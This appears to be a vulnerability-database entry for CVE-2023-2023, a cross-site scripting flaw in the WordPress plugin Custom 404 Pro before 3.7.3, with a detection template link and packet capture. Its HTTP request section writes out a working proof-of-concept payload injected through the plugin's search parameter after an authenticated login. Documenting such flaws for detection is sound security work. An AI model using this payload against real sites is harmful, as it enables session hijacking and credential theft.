🔙 목록으로 돌아가기

CVE-2023-2023: Custom 404 Pro < 3.7.3 - Cross-Site Scripting

TitleCustom 404 Pro < 3.7.3 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationFixed in version 3.7.3
CVSS Score6.1
EPSS Score0.83097
CVE IDCVE-2023-2023
CWE IDCWE-79
Tags cve2023 cve wpscan xss wordpress wp-plugin authenticated custom-404-pro intrusive kunalnagar vuln

🔍 Vulnerability Description

Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=Hu2WAZ&pwd=728yys&wp-submit=Log+In
GET /wp-admin/admin.php?page=c4p-main&s=38EtUg8nC1nsF2cBkPaf4bDzngR%22%20style=animation-name:rotation%20onanimationstart=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2023.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-2023.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A